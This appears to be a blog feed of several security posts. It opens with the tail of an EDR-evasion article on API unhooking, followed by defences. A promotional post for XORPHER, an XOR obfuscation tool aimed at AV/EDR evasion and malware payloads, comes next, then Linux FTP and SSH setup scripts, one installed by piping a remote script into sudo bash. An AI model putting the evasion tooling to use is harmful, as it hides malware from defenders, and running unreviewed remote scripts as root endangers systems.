        VirtualProtect(pHookedFunc, 14, oldProtect, &oldProtect);
        return true;
    }
    return false;
}

In practice, to evade Bitdefender’s monitoring of VirtualProtect, attackers often combine direct system calls to modify page table attributes or employ undocumented APIs. Test data indicate that after performing Unhooking on key memory operation APIs such as NtAllocateVirtualMemory and NtWriteVirtualMemory, the success rate of malicious code execution exceeds 95%. Bitdefender’s user-mode engine can no longer perceive these API calls because the hooks have been removed.

4.2.3 Technical Limitations and Defensive Recommendations

Although API Unhooking demonstrates a very high bypass success rate in user mode, it is not omnipotent and exhibits clear technical limitations and detectable defense points.

Technical Limitations:

Kernel callbacks remain intact: Unhooking only removes user-mode hooks. Modern EDR solutions (such as Bitdefender) typically register kernel-level callbacks (e.g., PsSetCreateProcessNotifyRoutine). Even if user-mode APIs are no longer monitored, the EDR driver can still capture anomalous behavior when system calls enter the kernel.
Strong version dependency: Methods relying on hard-coded offsets or direct reading of DLLs from disk are highly dependent on the operating system version and patch level. Windows updates that change DLL versions may cause the restored bytes to be incompatible, potentially resulting in process crashes.
Memory integrity checking: Some advanced EDRs periodically scan the memory sections of critical system DLLs, verifying their hash values or signatures. Detection of inconsistencies between the in-memory content of ntdll.dll and the on-disk file can immediately trigger alerts or process termination.

Defensive Recommendations: To counter such bypass techniques, defensive architectures should evolve from sole reliance on user-mode monitoring toward deep kernel-level defense:

Enable kernel-level callback monitoring: Ensure that the EDR driver captures system calls at the kernel layer without depending on user-mode hooks.
Memory integrity validation: Periodically scan memory pages of critical system DLLs to detect unauthorized modifications (Unhooking artifacts).
Behavioral correlation: Even if API calls are concealed, subsequent actions (such as network connections or access to sensitive files) should still be subject to correlation analysis. For example, a network connection initiated from a memory region that did not follow the standard loading process should be treated as a high-risk indicator.

In summary, PostExpKit and API Unhooking represent two important directions in contemporary red team techniques: “memory concealment” and “monitoring bypass.” For blue teams, understanding the implementation details of these techniques is a critical prerequisite for optimizing detection rules and constructing a robust, layered defense system.

5. Future Trends and Defensive Recommendations

As endpoint security protection systems continue to evolve, traditional signature-based and static rule-driven defenses have become inadequate against advanced persistent threats (APT) and modern red team attack techniques. The offense-defense confrontation is entering a new stage centered on artificial intelligence, behavioral analysis, and memory integrity. This chapter will explore the evolutionary direction of EDR technology and its impact on attack techniques, while offering concrete optimization pathways and implementation recommendations from the defensive perspective, with the goal of building a forward-looking, proactive defense system.

5.1 Evolution of EDR Technology and Red Team Adaptation Directions

Endpoint Detection and Response (EDR) systems are undergoing a paradigm shift from locally rule-driven detection to cloud-native intelligent modeling. Understanding this evolutionary trajectory and its implications for the attack surface is a prerequisite for constructing effective defensive architectures.

5.1.1 EDR Technology Evolution Trends: From Local Rules to Cloud-Based AI Modeling

Contemporary EDR architectures have largely moved beyond reliance on static, locally stored signature databases and are transitioning toward an “Endpoint Protection as a Service” (TPaaS) model. According to the 2024 Gartner Hype Cycle for Endpoint Security, next-generation endpoint protection is progressing toward cloud-hosted AI modeling, automated response orchestration, and continuous behavioral learning.

Cloud-Based AI Modeling and Continuous Behavioral Learning

Legacy EDR solutions depended heavily on local heuristic scanning. Modern platforms upload rich endpoint telemetry to cloud sandboxes for deep analysis. Cloud models benefit from vastly greater computational resources, enabling the training of sophisticated machine learning models capable of detecting subtle anomalies. Rather than merely checking process hashes, these systems analyze behavioral sequences — including API call ordering, memory allocation patterns, and semantic reasonableness of network connections. This architecture allows defenders to rapidly deploy updated detection models without requiring endpoint client updates.
Strengthened Memory Integrity Protection Mechanisms

Operating system-level memory protections are increasingly integrated with EDR capabilities. Windows 11 introduced Virtualization-Based Security (HVCI) and Kernel-mode Hardware Enforced Stack Protection, dramatically raising the difficulty of kernel-level attacks. The widespread adoption of hardware features such as Intel Control-flow Enforcement Technology (CET) has rendered traditional return-oriented programming (ROP) exploitation techniques far less viable. EDR platforms leverage these hardware primitives to more effectively monitor kernel callbacks and driver loading, preventing malicious code from tampering with core system functions.
Synergistic Combination of Kernel Callbacks and User-Mode Hooking

Although Kernel Patch Protection (KPP) restricts direct modification of kernel code by third-party drivers, EDR vendors have been authorized to register callback objects within the kernel. Modern EDR solutions achieve comprehensive telemetry coverage by combining user-mode API hooking with kernel-level callback monitoring. Even when attackers attempt to remove user-mode hooks (Unhooking), kernel-mode filter drivers continue to capture critical operations such as process injection, driver loading, or modification of sensitive registry keys.

5.1.2 Impact Analysis on Existing Evasion Techniques

As defensive technologies advance, traditional attack bypass methods face increasing obsolescence. Adversaries must adapt to the new detection environment, while defenders must anticipate emerging attack signatures.

Obsolescence of Static Obfuscation and Packing

Relying solely on encoding obfuscation, packing, or PE header modification is no longer sufficient to evade modern EDR static detection engines. Cloud-based machine learning models extract deeper semantic features and can identify malicious payloads even after structural deformation. For example, PE headers adversarially crafted using Generative Adversarial Networks (GANs) may bypass certain static scanners but are frequently exposed during dynamic behavioral analysis.
Increased Detection Risk of Direct System Calls

Direct system calls (Direct Syscalls) were once widely adopted to bypass user-mode API hooks. However, contemporary EDR platforms now monitor anomalous syscall patterns — including non-standard syscall sequences, calls originating from atypical memory regions, or invocations inconsistent with the process context. Kernel callback mechanisms ensure that even user-mode hook evasion is insufficient, as kernel-level telemetry continues to record these activities.
Semantic Analysis of Behavioral Fingerprints

Defensive systems are increasingly focused on the “semantic reasonableness” of command sequences and operations. The fact that all commands are natively supported by the operating system and syntactically valid no longer guarantees safety. Combinations of legitimate commands that mimic known attack chains (e.g., download → decode → execute), or exhibit abnormal resource consumption patterns (e.g., deliberately avoiding large memory allocations to evade detection), can still trigger classification. Defenders are training classifiers to distinguish subtle deviations between “normal command input streams” and maliciously crafted ones, significantly raising the difficulty of behavior-consistent masquerading.

5.1.3 Red Team Adaptation Strategies and Key Technology Research Directions

From the perspective of adversarial simulation research, attack technique evolution is concentrating in three principal areas: dynamism, semantic plausibility, and exploitation of new system features. Defenders must understand these directions to refine detection rules and behavioral baselines.

Dynamic Payloads and Adaptive Morphing

Future payloads are trending toward extreme dynamism and unpredictability. The use of large language models (LLMs) to automatically generate time-varying payloads (e.g., hourly structural or variable-name changes in shellcode) is an emerging research vector. Fuzzing-driven adaptive morphing techniques can automatically mutate payload structure — inserting junk instructions, altering control flow, or randomizing encoding — to prevent stable feature establishment by antivirus engines. This dynamism forces defenders to move beyond static signatures toward runtime behavioral fingerprinting.
Semantic Plausibility and Behavioral Consistency

Attack techniques are shifting from concealment to plausibility. Mimicking routine administrative or user operations (software updates, installations, scheduled tasks) has become the dominant strategy. Low resource consumption and avoidance of high-frequency alerting thresholds are core principles. High customizability allows tailoring of command details to specific EDR vendors — for example, inserting sleep delays or renaming tools. Defenders must develop finer-grained behavioral baselines capable of distinguishing genuine administrative activity from sophisticated masquerading.
Exploitation of New System Features and Cross-Platform Weaponization

Adversaries are actively researching defects in newly introduced system features. Examples include novel bypasses targeting Intel CET limitations or WebAssembly-based shellcode payloads compatible with both Windows and Linux environments. Memory-encrypted payload techniques are also advancing, keeping payloads in an encrypted state in memory at all times and decrypting only at the precise moment of execution, thereby increasing the difficulty of memory scanning.

Three Critical Technology Focus Areas for Red Teams:

Dynamic API Invocation

Avoid fixed API call sequences by introducing randomization and indirect calls to evade behavioral model recognition.
Memory-Encrypted Payloads

Ensure payloads remain unreadable in memory during non-execution states, countering memory forensic scanning.
Behavioral Consistency Modeling

Align attack operations — in temporal distribution, resource consumption, and command semantics — with legitimate business workflows to minimize deviation signals.

5.2 Defensive Optimization Recommendations: Upgrade Path from Detection to Prevention

In the face of increasingly sophisticated attack techniques, defensive architectures must evolve from passive detection toward proactive prevention. This transition requires not only the deployment of advanced tooling but also the optimization of configuration strategies, logging policies, and incident response workflows.

5.2.1 Detection Optimization: Constructing Multi-Dimensional Behavioral Baselines

Signature-based detection is no longer sufficient against advanced threats. Defenders must establish robust behavioral detection models, with particular emphasis on anomalous memory operations and API call-chain patterns.

Monitoring Anomalous Memory Behaviors Memory remains the primary arena for code execution by adversaries. Defensive systems should prioritize monitoring of the following memory-related activities:

Memory Page Permission Changes

Detect processes that transition memory page permissions from read-write (RW) to read-write-execute (RWX), especially when such changes occur outside typical module-loaded regions.
Process Injection Detection

Monitor cross-process memory allocation and remote thread creation, particularly when the target process is a system-critical process (e.g., lsass.exe, svchost.exe).
Shellcode Pattern Scanning

Even encrypted payloads must decrypt at execution time. Leverage advanced threat detection modules within the EDR to perform real-time scanning of executable memory flows, identifying common shellcode signatures or anomalous instruction sequences.

API Call-Chain Analysis Individual API calls may appear benign, but specific sequences frequently reveal malicious intent. Defenders should configure log analysis rules to focus on the following correlated indicators:

API Unhooking Combined with BOF Execution

Detect attempts to restore original hooked API bytes followed immediately by execution of Beacon Object Files (BOF) or loading of unknown modules — a hallmark combination of modern EDR evasion techniques.
Sensitive API Combinations

Monitor sequences such as VirtualAlloc followed by CreateThread, or WriteProcessMemory followed by NtCreateThreadEx. When these occur in non-compiler-generated processes, they should be treated as high-risk.
Anomalous System Calls

Identify direct user-mode system calls originating from modules lacking legitimate export tables or valid digital signatures.

Implementation Steps and Threshold Configuration

Enable advanced logging in SIEM or EDR consoles to capture process creation, module loading, network connections, and registry modification events.
Establish behavioral baselines using historical data. For example, if a server has never executed PowerShell scripts at 03:00, script execution during that window should trigger high-priority alerts.
Implement correlation rules that link endpoint telemetry with network flow logs. Anomalous outbound connections combined with suspicious process activity on the endpoint should trigger immediate host isolation.

5.2.2 Preventive Measures: Attack Surface Reduction and Integrity Hardening

While detection often supports post-incident response, prevention aims to raise the cost and complexity of successful attacks. Restricting high-risk APIs and enforcing strong memory integrity controls represent high-impact, low-overhead preventive strategies.

Memory Integrity Enforcement Leverage native operating system security features for cost-effective, high-efficacy protection:

Enable HVCI (Hypervisor-protected Code Integrity) on supported Windows versions to block execution of unsigned drivers and unauthorized kernel code.
Activate LSA Protection (Credential Guard) to prevent credential-dumping tools from reading sensitive in-memory data structures.
Enable Kernel-mode Hardware Enforced Stack Protection on compatible hardware to mitigate kernel stack overflow exploits.

Restriction of High-Risk APIs and Living-off-the-Land Binaries (LOLBins) Attackers frequently abuse legitimate system tools. Defenders should implement application control policies to constrain their misuse:

Disable elevated COM interfaces via Group Policy (GPO) to block common UAC bypass techniques.
Enforce Constrained Language Mode for PowerShell, WMI, and other script interpreters; enable Script Block Logging for full visibility.
Apply strict ACL auditing to critical directories (e.g., %SystemRoot%\System32). Unauthorized modification attempts should generate immediate alerts.

Deep Hardening and Path Collision Mitigation Drawing from proven UAC hardening best practices, implement the following controls to prevent privilege escalation:

Perform path collision analysis to ensure no low-privilege-writable directories exist in system search paths, thereby blocking DLL hijacking and path interception attacks.
Protect EDR filter driver registry keys. Testing shows that even when user-mode EDR components remain active, permanent disabling of filter driver initialization can cripple core functionality. Safeguarding driver registration keys is therefore essential.

5.2.3 Defensive Architecture Evolution Roadmap

To maintain long-term security posture, organizations should follow a phased maturity progression:

Phase 1 – Foundation

Deploy modern EDR + next-generation antivirus (NGAV/EPP), enable HVCI/LSA protection, and activate constrained scripting modes.
Phase 2 – Behavioral Visibility

Implement comprehensive behavioral baselining, API call-chain correlation, and memory anomaly detection rules.
Phase 3 – Proactive Hardening

Enforce strict application control, path collision mitigation, and filter driver protection; integrate automated response playbooks.
Phase 4 – Continuous Validation

Conduct regular red-blue adversarial simulations to validate rule efficacy and refine baselines.

Summary and Strategic Recommendations

Cybersecurity remains an asymmetric, ongoing contest between attackers and defenders. As EDR vendors continually enhance detection capabilities, adversaries simultaneously develop novel evasion methods. Signature-based antivirus alone is inadequate against sophisticated threats. Organizations must transition to a combined AV/EPP + EDR strategy, placing strong emphasis on behavioral analytics and memory integrity enforcement.

Security teams are strongly advised to:

Conduct periodic red-blue team exercises to empirically validate defensive configurations.
Maintain active threat intelligence feeds to enable timely rule tuning.
Build layered, defense-in-depth architectures capable of preventing, detecting, understanding, and responding to increasingly complex attacks, thereby ensuring sustained business continuity and operational resilience.

Disclaimer:

The programs, technical methods, and related content presented in this document are intended solely for legitimate and compliant cybersecurity research and educational purposes, with the explicit objective of enhancing defensive capabilities in network security. All discussions and demonstrations possess clear attributes of technical and academic research.

Any organization or individual that, without explicit authorization, utilizes the content herein for attacks, destruction, or any other illegal activities shall bear full and sole legal, civil, and consequential liability arising therefrom. This website/publication assumes no joint or vicarious liability whatsoever.

All materials published on this platform are released strictly for the purposes of technical exchange and knowledge sharing. Should any content infringe upon copyrights or give rise to other objections, please contact us via email for resolution.

Building XORPHER: A Multi-Algorithm XOR Encryption Tool for Red Teaming

Excalibra — Fri, 06 Mar 2026 04:26:07 +0000

Excalibra / XORPHER

XORPHER - Advanced XOR encryption tool for antivirus/EDR evasion. Features 5 algorithms (Simple, Rotating, Polymorphic, Custom, Legacy), configurable key lengths (1-64 bytes), garbage insertion, and auto-verification. Educational tool for security research.

🚀 XORPHER v2.5

Advanced XOR Encryption Tool for Evasion

Stealth Edition - Bypass AV/EDR with 5 Configurable Encryption Algorithms

📋 Overview

XORPHER is a cutting-edge XOR encryption tool designed specifically for penetration testers, red teamers, and security researchers. It implements advanced obfuscation techniques to evade Antivirus (AV) and Endpoint Detection & Response (EDR) solutions by making static analysis and signature detection significantly more difficult.

Unlike traditional XOR tools, XORPHER offers 5 distinct encryption algorithms, configurable key lengths, garbage byte insertion, and custom parameter configuration to ensure your payloads and strings remain undetected.

🎯 Key Capabilities

Feature	Description
🔐 5 Encryption Algorithms	Simple, Rotating, Polymorphic, Custom, and Legacy modes
🔑 Configurable Key Lengths	Choose from 1-64 bytes to match your decryption code
🛡️ Evasion Levels	None, Low, Medium, High, Extreme (0-80% garbage bytes)
✅ Auto-Verification	Automatically decrypts to confirm integrity
📋 Multiple Output Formats	String literals, byte arrays,

…

View on GitHub

XORPHER: A Multi-Algorithm XOR Encryption Tool for Red Teaming

I've been working on a Python-based XOR encryption tool called XORPHER that's designed specifically for penetration testers and red teamers who need to evade AV/EDR solutions. Today I want to share what it does and how you can use it.

What is XORPHER?

XORPHER is a multi-algorithm XOR encryption tool with 5 distinct encryption methods, configurable key lengths, and intelligent garbage byte insertion for evading signature-based detection.

Key Features:

5 encryption algorithms (Simple, Rotating, Polymorphic, Custom, Legacy)
Configurable key lengths (1-64 bytes or auto)
5 evasion levels with garbage byte insertion (0-80%)
Auto-verification of encrypted data
Multiple output formats (C strings, byte arrays, Python)
Cyberpunk-styled terminal UI

Installation

# Clone the repository
git clone https://github.com/Excalibra/xorpher.git
cd xorpher

# Install dependencies (colorama for colors, pyperclip for clipboard)
pip install -r requirements.txt

# Run XORPHER
python xorpher.py

How to Use XORPHER

Interactive Mode (Recommended)

Simply run the tool without arguments to enter the interactive menu:

python xorpher.py

You'll be greeted with the main menu:

    MAIN MENU
    1. 🔐 Encrypt a string
    2. 📖 Encryption guide
    3. ℹ️ About
    4. 🚪 Exit

    ⚡ Select option (1-4):

Step-by-Step Encryption Walkthrough

Step 1: Select "Encrypt a string" and enter your target string:

    Enter the string to encrypt:
    >>> api.example.com

Step 2: Choose an algorithm:

    SELECT ALGORITHM
    1. simple      - Single key XOR
    2. rotating    - Key repeats every N bytes
    3. poly        - Polymorphic (hash-based)
    4. custom      - Configure your own parameters
    5. legacy      - 3-key with rolling modifier

    Choice (1-5) [default: 2]:

Step 3: Configure key length:

    KEY LENGTH
    1. auto        - Key length = data length
    2. 1 byte      - Single key
    3. 3 bytes     - 3-byte key
    4. 4 bytes     - 4-byte key
    5. 8 bytes     - 8-byte key
    6. 16 bytes    - 16-byte key
    7. 32 bytes    - 32-byte key
    8. custom      - Specify length (1-64)

    Choice (1-8) [default: 3]:

Step 4: Set evasion level:

    EVASION LEVEL
    1. none     - 0% garbage
    2. low      - 20% garbage
    3. medium   - 40% garbage
    4. high     - 60% garbage
    5. extreme  - 80% garbage

    Choice (1-5) [default: 1]:

Step 5: Review and confirm:

    ENCRYPTION SUMMARY
    ──────────────────────────────────────────────────
    String:     api.example.com
    Algorithm:  rotating
    Key Length: 3 bytes
    Evasion:    medium
    ──────────────────────────────────────────────────

    Proceed? (y/n) [default: y]:

Step 6: Get your results:

    ENCRYPTION RESULTS
    ──────────────────────────────────────────────────

    SUMMARY
    Original:     api.example.com
    Algorithm:    rotating
    Key Length:   3 bytes
    Evasion:      medium
    Size:         25 bytes

    Key preview:  0x3f 0x1a 0x7c ...

    C ARRAY
    ╔════════════════════════════════════════════════════════════╗
    ║  ROTATING ALGORITHM - Multiple Formats                    ║
    ╚════════════════════════════════════════════════════════════╝

    // Option 1: String literal
    unsigned char encrypted[] = "\xe9\xff\xc2\x83\xba\xa1\x89...";
    unsigned char key[] = {0x3f, 0x1a, 0x7c};

    // Decryption function
    void decrypt(unsigned char *data, int data_len, unsigned char *key, int key_len) {
        for(int i = 0; i < data_len; i++) {
            data[i] ^= key[i % key_len];
        }
    }

    Full details saved to: xorpher_output/

    Press Enter to return to main menu...

Advanced Usage Examples

Example 1: Legacy Mode for Dropper Compatibility

Perfect when working with existing malware or dropper code:

# Run XORPHER and select:
Algorithm: legacy
Keys: Generate random 3-byte keys

Output format ready for C droppers:

{(BYTE*)"\xe9\xff\xc2\x83\xba\xa1\x89\x61\x71\x5d\x57\x25\x13\x07\xb7\xe7\xca\xae", 18, {0xc1, 0xac, 0xf5}}

Decryption code for your C project:

void decrypt_str(unsigned char* data, int size, unsigned char k1, unsigned char k2, unsigned char k3) {
    unsigned char combined = k1 ^ k2 ^ k3;
    for(int i = 0; i < size; i++) {
        unsigned char r = ((i * 19) ^ (i >> 3) ^ (size - i)) & 0xFF;
        data[i] ^= combined ^ r ^ (i & 0xFF);
    }
}

Example 2: Custom Mode for Full Control

Fine-tune every aspect of the encryption:

    CUSTOM CONFIGURATION

    Key options:
    1. Single key
    2. Multiple keys (rotating)
    3. 3-key legacy style

    Rolling modifier:
    1. No rolling (standard XOR)
    2. Simple rolling (position only)
    3. Legacy rolling (with multiplier and shift)

Example configuration:

Key type: Multiple keys (rotating)
Number of keys: 4
Rolling: Legacy rolling with multiplier 19, shift 3
Position XOR: Enabled

Example 3: Maximum Evasion

When you need to avoid detection at all costs:

Algorithm: poly (polymorphic)
Key Length: 32 bytes
Evasion Level: extreme (80% garbage)

The result will have 80% random bytes interleaved with your real data, making pattern matching nearly impossible.

Output Formats Explained

XORPHER generates ready-to-use code in multiple formats:

C String Literal

unsigned char encrypted[] = "\x4a\x6f\x68\x6e";
unsigned char key[] = {0x3f, 0x1a, 0x7c};

C Byte Array

unsigned char encrypted[] = {0x4a, 0x6f, 0x68, 0x6e};
unsigned char key[] = {0x3f, 0x1a, 0x7c};

Python Implementation

encrypted = [0x4a, 0x6f, 0x68, 0x6e]
key = [0x3f, 0x1a, 0x7c]
decrypted = bytes([b ^ key[i % len(key)] for i, b in enumerate(encrypted)])

Legacy Dropper Format

{(BYTE*)"\x4a\x6f\x68\x6e", 4, {0x3f, 0x1a, 0x7c}}

Use Cases

String obfuscation in malware development
Payload encryption for C2 frameworks
Evading signature-based detection in AV/EDR
Learning about encryption algorithms for research
Testing detection capabilities of security solutions

Pro Tips

Always verify - XORPHER auto-verifies, but test your decryption code
Match key lengths - Ensure your decryption code uses the same key length
Start with low evasion - Test with none/low first, then increase
Save outputs - All results are timestamped in xorpher_output/
Use clipboard - Results are automatically copied (if pyperclip installed)

⚠️ Disclaimer

This tool is for educational purposes and authorized security testing only. Only use on systems you own or have explicit permission to test.

📚 Quick Reference

Algorithm	Best For	Key Length
Simple	Basic obfuscation	1 byte
Rotating	General purpose	3-8 bytes
Poly	Maximum stealth	16-32 bytes
Custom	Advanced users	Configurable
Legacy	Old droppers	3 bytes

Evasion	Garbage	Use Case
none	0%	Testing
low	20%	Basic evasion
medium	40%	General purpose
high	60%	Aggressive
extreme	80%	Maximum stealth

🤝 Get Involved

GitHub: https://github.com/Excalibra/XORPHER

git clone https://github.com/Excalibra/xorpher.git
cd xorpher
pip install -r requirements.txt
python xorpher.py

⭐ Star the repo if you find it useful!

One-click Script to Set Up a Personal FTP on a Linux Cloud Server

Excalibra — Sun, 09 Feb 2025 08:10:53 +0000

Linux FTP Setup Simplified

After researching, it seems that most people find setting up Linux FTP quite straightforward. However, based on my personal experience, it wasn't that easy. To address this, I've created an open-source, well-documented one-click script with comprehensive comments to facilitate future learning and communication.

Security Measures

IP Restriction: Although FTP brute-force attacks are less frequent than SSH login attempts, it's still prudent to restrict access to your public IP for added security.
Directory Limitation: Restrict users to the shared directory to prevent them from accessing other directories, with read and write permissions.
Custom Username and Password: Create a username and password following standard Linux user creation practices.
IP Retrieval Optimization: The client's IP is now retrieved from the local login information, eliminating the risk of IP confusion from SSH port monitoring.

SCP Upload and Download

While SCP is convenient for uploading and downloading, it's not ideal for comprehensive directory management. Moreover, beginners in Linux might not be familiar with control panels like aaPanel or Zfile. The purpose of this one-click script is to help newcomers avoid common pitfalls.

Getting Started

No need to understand virtual user mapping, FTP authentication, or PAM module principles. Just run the following command to set up FTP:

sudo bash -c "$(curl -fL https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/refs/heads/main/d-shell/lite_vsftpd.sh)"

Finally, ensure that port 21000 is open in your Alibaba Cloud server's security group or Tencent Cloud's firewall. Here's a visual guide:

Cloud Security Firewall

Further Customization

For those interested in deeper customization and research, here are some relevant files:

Shared Directory: /var/ftp/share
Access Configuration File: /etc/security/access.conf
FTP Configuration File: /etc/vsftpd/vsftpd.conf
FTP Module Support File: /etc/pam.d/vsftpd

Source Code

## For future use, consider this tool for configuring web-based cloud storage sharing: [Zfile on GitHub](https://github.com/zfile-dev/zfile)

#********* Cloud Documentation Reminder ***************************
#
# FTP can connect and transfer data with client machines in both active and passive modes.
# Due to firewall settings on most client machines and the inability to obtain real IPs, it is recommended to set up the FTP service in passive mode.
# The following modifications are for setting up passive mode. If you prefer active mode, please refer to the guide for setting up FTP active mode.
#
# In simple terms, the difference between active and passive modes is:
# - **Active Mode**: The server connects to the client's port for data transfer (client opens the data port).
# - **Passive Mode**: The client connects to the server's port for data transfer (server opens the data port).
#****************************************************


#----------- Download, Install, Create Dedicated User, and Restrict Directory ------------

# Add a user. Regular users do not have SSH login permissions by default, which is fine.
# For completeness, use `usermod -s /sbin/nologin ftpuser`.

yum install -y vsftpd
yum install lsof -y
sudo systemctl enable vsftpd
# Start the service successfully. Anonymous access is enabled by default but without permission to modify or upload.
# Start it early to avoid errors during configuration.
sudo systemctl start vsftpd

sudo groupadd ftpusers
# Accept user input and create a user in the ftpusers group
read -p "Enter the username for FTP sharing: " user_name && sudo useradd -g ftpusers $user_name

echo -e "User $user_name has been created. \n"

echo "⚠️  Note: Linux initial password rules require passwords to include uppercase, lowercase, and special characters. ‼️"
echo -e "If you have configured password policies, you can ignore this message."
echo -e "◉ Note: The password will be displayed in plain text for verification. \n"

# -s: Hide input for sensitive information
read -p "Enter the password: " pass_word 

# Pass the password to `passwd` via stdin
echo $pass_word | passwd --stdin $user_name

# Restrict login terminal
sudo usermod -s /sbin/nologin $user_name

# Create a specific directory for FTP sharing
sudo sudo mkdir /var/ftp/share
echo "hello world " > /var/ftp/share/test.txt
# Grant permissions -R recursively; owner:group 
sudo chown -R ftpuser:ftpusers /var/ftp/share

#---------- Backup vsftpd.conf File and Obtain Public IP -----------

# Configuration modifications are for passive mode.
# Modify: Find and replace. Test with `sed` without parameters first, then add comments for clarity.
# Backup the original vsftpd.conf file
cp -rp /etc/vsftpd/vsftpd.conf{,.bak}

# Obtain the public IP of the Linux machine
linux_public_ip=$(curl -s https://ipinfo.io/ |grep 'class="fz24"' | awk -F '>|<' '{print$3}')

# This method of obtaining IP is risky due to potential SSH interference, so it's commented out
# get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')

# New method to obtain the client IP (Windows or Mac)
get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')

# cut
# -d specifies a custom delimiter
# -f2 selects the second part of the split output
# -f1 selects the first part of the split output

#------------------------------------------------------


#************************ Explanatory Documentation ***************************************
#
# local_enable=YES         # Allow local users to log in
# chroot_local_user=YES    # Restrict all users to their home directory
# chroot_list_enable=YES   # Enable a list of exception users
# chroot_list_file=/etc/vsftpd/chroot_list  # Specify the user list file; users in this list are not restricted to their home directory
#
#*********************************************************************


#----------- Configure Basic User Policies: Disable Anonymous Access, Restrict Access to Specified Directory, IPv4 -----------

# Replace line 12 globally with `anonymous_enable=NO`
sed -i '12canonymous_enable=NO' /etc/vsftpd/vsftpd.conf

## Uncomment lines 100, 101, and 103 to configure chroot as above.
sed -i '100,101s/^#//' /etc/vsftpd/vsftpd.conf
sed -i '103s/^#//' /etc/vsftpd/vsftpd.conf

# Replace `Listen=NO` with `Listen=YES`
sed -i 's/listen=NO/listen=YES/' /etc/vsftpd/vsftpd.conf

# Comment out line 123 to disable IPv6 sockets
sed -i '123s/^/# /' /etc/vsftpd/vsftpd.conf

# Uncomment line 52 to enable logging
sed -i '52s/^#//' /etc/vsftpd/vsftpd.conf

# Enable passive mode: `pasv_enable=YES`
# Set the minimum and maximum ports for passive connections
# Configuring the minimum and maximum ports to the same value opens a fixed port
# `allow_writeable_chroot=YES` allows writing within the restricted directory
echo -e "
local_root=/var/ftp/share
allow_writeable_chroot=YES
pasv_enable=YES
pasv_address=$linux_public_ip
pasv_min_port=21000
pasv_max_port=21000
" >> /etc/vsftpd/vsftpd.conf

# Create a file; otherwise, users cannot log in even if they exist. No additional permissions are needed; ftpuser does not access this file.
# It is speculated that the program logic relies on this "small file" for policy decisions. If the feature is enabled but the file is missing, it causes issues.
touch /etc/vsftpd/chroot_list
## `chroot_list_file=/etc/vsftpd/chroot_list` enables the restricted user list file configuration.

# Comment out line 4: `auth required pam_shells.so` module authentication.
sudo sed -i '4s/^/#/' /etc/pam.d/vsftpd

#------ `pam_access.so` is a module that calls the configuration file `/etc/security/access.conf` ------

# `/etc/pam.d/vsftpd` (module configuration file)
## Backup `/etc/pam.d/vsftpd`
cp -rp /etc/pam.d/vsftpd{,.bak}
# Insert the module before line 7
sudo sed -i '7i\account    required     pam_access.so' /etc/pam.d/vsftpd

# `access.conf`
## Backup the `access.conf` file
cp -rp /etc/security/access.conf{,.bak}
## Define the last rule as "deny all," meaning only explicitly allowed exceptions are permitted
echo  -e "
+:ftpusers:$get_my_ip
-:ALL:ALL

" >> /etc/security/access.conf

#---------------------------------------------------

# Start the FTP service.
sudo systemctl restart vsftpd

echo -e "*** Debugging Code ***"
echo 'scp /Users/user1/Desktop/1.sh root@101.xxx.xxx.xxx:${HOMEPATH}'
echo -e "rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old"
echo -e "View all user information: cat /etc/passwd"
echo -e "Create a new user and add to the FTP sharing group: useradd -G ftpusers <username>"
echo -e "Add an existing user to the FTP sharing group: usermod -a -G ftpusers <username>"
echo -e "***************** \n"

echo -e "\n **************** FTP Overview and Basic Information ******************** \n"
echo -e "FTP dedicated user created: $user_name; Password: $pass_word"
echo -e "FTP shared directory location: cat /var/ftp/share"
echo -e "Important ‼️: Ensure port 21000 is open in your cloud security group or cloud server firewall."

echo -e "\nFTP setup is complete. Below is a brief overview of FTP configurations:"
echo -e "View FTP access history: /var/log/xferlog"
echo -e "Core configuration file: vi /etc/vsftpd/vsftpd.conf"
echo -e "FTP user and IP access control file: vi /etc/security/access.conf\n"
echo -e "Windows users can access via File Explorer for uploads and downloads."
echo -e "Mac users are recommended to use Cyberduck, FileZilla, or ForkLift, as Finder's FTP support is limited.\n"

# Delete itself
rm -rf $0

# This explanation might be distracting for beginners
# echo -e "User access restriction configuration file: /etc/vsftpd/chroot_list"
# echo -e "To allow unrestricted access, add the username to this file, one username per line.\n"

#**************** Interlude ***********************************

## Check user groups: `groups ftpuser`. Create a group: `groupadd ftpusers`.
## Create a new user and add to a specified group as the primary group (each user has only one primary group).
## Create a new user and associate with a group:
## `useradd -g <groupname> <username>`
## Or, create a new user and add to a supplementary group (a user can belong to multiple supplementary groups):
## `useradd -G <groupname> <username>`
## For existing users:
## `-a` stands for append, used with `-G` to add the user to a new group without leaving existing groups.
## `usermod -a -G <groupname> <username>`

## Google Cloud enables SELinux by default. Domestic servers typically disable internal firewalls.
## If you enable a firewall on your server, you need to configure policies on both ends.

# By default, it should not protect already open ports. Whether a port is open depends on the service or application running.
# These services or applications open ports that were previously closed. The firewall only protects these ports when enabled.
# For example, port 80 is only opened when a web application like IIS is running. The firewall may protect port 80,
# preventing external users from accessing it. When the firewall is disabled, the protection is removed, and access is allowed.
# Therefore, the firewall is not the root cause of opening port 80.

One-Click Setup for SSH Login, Password Policy, IP Ban Configuration, and Custom Admin User Creation

Excalibra — Thu, 06 Feb 2025 20:57:01 +0000

Introduction

Brute-force attacks are more cost-effective for hackers than methods like DDoS, man-in-the-middle attacks, or privilege escalation through software vulnerabilities. Root users with predictable weak passwords are primary targets. Additionally, some cloud hosts running without security measures are often exploited for cryptojacking. Since I have already analyzed cryptojacking scripts in the malware analysis section, I decided to write a one-click script to counter brute-force attacks on SSH port scans. The countermeasures include:

Passwords with any character combination and SSH key-based authentication
Fail2ban for IP banning
Creating a custom admin user and locking root remote login

Setting up SSH login, user password policies, Fail2ban IP banning, and creating an admin user on a new cloud host can be tedious and prone to errors. To simplify the process, I wrote this one-click script for CentOS 8 cloud servers.

After troubleshooting configuration errors, researching solutions, and debugging the script, I’m finally done. Since this guide is quite long, the source code is provided at the end.

One-Click Setup for SSH Login, Password Policy, and IP Ban Configuration

Features:

SSH Login: Passwordless key authentication, persistent connection to prevent client disconnection
Password Policy: No restriction on special characters or case sensitivity, with a minimum length of 4-5 characters
IP Ban: Any IP (except your own) that enters an incorrect password three times within 30 seconds is permanently banned

Copy and paste the following command to execute the script.

GitHub source code: lite_ssh_n_ban.sh

